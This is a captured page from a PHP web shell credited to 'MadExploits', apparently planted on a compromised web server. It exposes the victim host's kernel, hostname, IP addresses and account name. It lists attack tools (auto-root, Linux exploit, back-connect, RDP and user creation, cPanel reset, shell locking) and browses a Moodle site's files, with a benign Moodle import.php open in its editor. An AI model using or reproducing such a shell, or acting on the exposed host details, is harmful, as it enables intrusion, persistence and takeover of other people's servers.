Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.69.17.165
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead.aptans /
mod /
data /
[ HOME SHELL ]
Name
Size
Permission
Action
backup
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxr-xr-x
db
[ DIR ]
drwxr-xr-x
field
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
pix
[ DIR ]
drwxr-xr-x
preset
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
css.php
1.56
KB
-rw-r--r--
data.js
1.89
KB
-rw-r--r--
deprecatedlib.php
2.43
KB
-rw-r--r--
edit.php
12
KB
-rw-rw-r--
export.php
4.67
KB
-rw-rw-r--
export_form.php
5.48
KB
-rw-r--r--
field.php
13.61
KB
-rw-rw-r--
import.php
3.85
KB
-rw-rw-r--
import_form.php
1.26
KB
-rw-rw-r--
index.php
4.87
KB
-rw-r--r--
js.php
1.57
KB
-rw-r--r--
lib.php
167.64
KB
-rw-rw-r--
locallib.php
55.9
KB
-rw-r--r--
mod_form.php
7.83
KB
-rw-r--r--
preset.php
11.36
KB
-rw-rw-r--
preset_form.php
2.9
KB
-rw-rw-r--
renderer.php
4.23
KB
-rw-rw-r--
rsslib.php
7.33
KB
-rw-r--r--
settings.php
606
B
-rw-r--r--
styles.css
2.68
KB
-rw-rw-r--
tabs.php
5.24
KB
-rw-r--r--
templates.php
15.57
KB
-rw-rw-r--
upgrade.txt
2.08
KB
-rw-r--r--
version.php
1.19
KB
-rw-rw-r--
view.php
25.97
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : import.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * This file is part of the Database module for Moodle * * @copyright 2005 Martin Dougiamas http://dougiamas.com * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later * @package mod_data */ require_once('../../config.php'); require_once('lib.php'); require_once($CFG->libdir.'/csvlib.class.php'); require_once('import_form.php'); $id = optional_param('id', 0, PARAM_INT); // course module id $d = optional_param('d', 0, PARAM_INT); // database id $rid = optional_param('rid', 0, PARAM_INT); // record id $fielddelimiter = optional_param('fielddelimiter', ',', PARAM_CLEANHTML); // characters used as field delimiters for csv file import $fieldenclosure = optional_param('fieldenclosure', '', PARAM_CLEANHTML); // characters used as record delimiters for csv file import $url = new moodle_url('/mod/data/import.php'); if ($rid !== 0) { $url->param('rid', $rid); } if ($fielddelimiter !== '') { $url->param('fielddelimiter', $fielddelimiter); } if ($fieldenclosure !== '') { $url->param('fieldenclosure', $fieldenclosure); } if ($id) { $url->param('id', $id); $PAGE->set_url($url); $cm = get_coursemodule_from_id('data', $id, 0, false, MUST_EXIST); $course = $DB->get_record('course', array('id'=>$cm->course), '*', MUST_EXIST); $data = $DB->get_record('data', array('id'=>$cm->instance), '*', MUST_EXIST); } else { $url->param('d', $d); $PAGE->set_url($url); $data = $DB->get_record('data', array('id'=>$d), '*', MUST_EXIST); $course = $DB->get_record('course', array('id'=>$data->course), '*', MUST_EXIST); $cm = get_coursemodule_from_instance('data', $data->id, $course->id, false, MUST_EXIST); } require_login($course, false, $cm); $context = context_module::instance($cm->id); require_capability('mod/data:manageentries', $context); /// Print the page header $PAGE->navbar->add(get_string('add', 'data')); $PAGE->set_title($data->name); $PAGE->set_heading($course->fullname); navigation_node::override_active_url(new moodle_url('/mod/data/import.php', array('d' => $data->id))); echo $OUTPUT->header(); echo $OUTPUT->heading_with_help(get_string('uploadrecords', 'mod_data'), 'uploadrecords', 'mod_data'); /// Groups needed for Add entry tab $currentgroup = groups_get_activity_group($cm); $groupmode = groups_get_activity_groupmode($cm); $form = new mod_data_import_form(new moodle_url('/mod/data/import.php'), ['dataid' => $data->id]); if (!$formdata = $form->get_data()) { /// Upload records section. Only for teachers and the admin. echo $OUTPUT->box_start('generalbox boxaligncenter boxwidthwide'); $form->display(); echo $OUTPUT->box_end(); echo $OUTPUT->footer(); die; } else { $filecontent = $form->get_file_content('recordsfile'); $recordsadded = data_import_csv($cm, $data, $filecontent, $formdata->encoding, $formdata->fielddelimiter); } if ($recordsadded > 0) { echo $OUTPUT->notification($recordsadded. ' '. get_string('recordssaved', 'data'), ''); } else { echo $OUTPUT->notification(get_string('recordsnotsaved', 'data'), 'notifysuccess'); } echo $OUTPUT->continue_button('import.php?d='.$data->id); /// Finish the page echo $OUTPUT->footer();
Close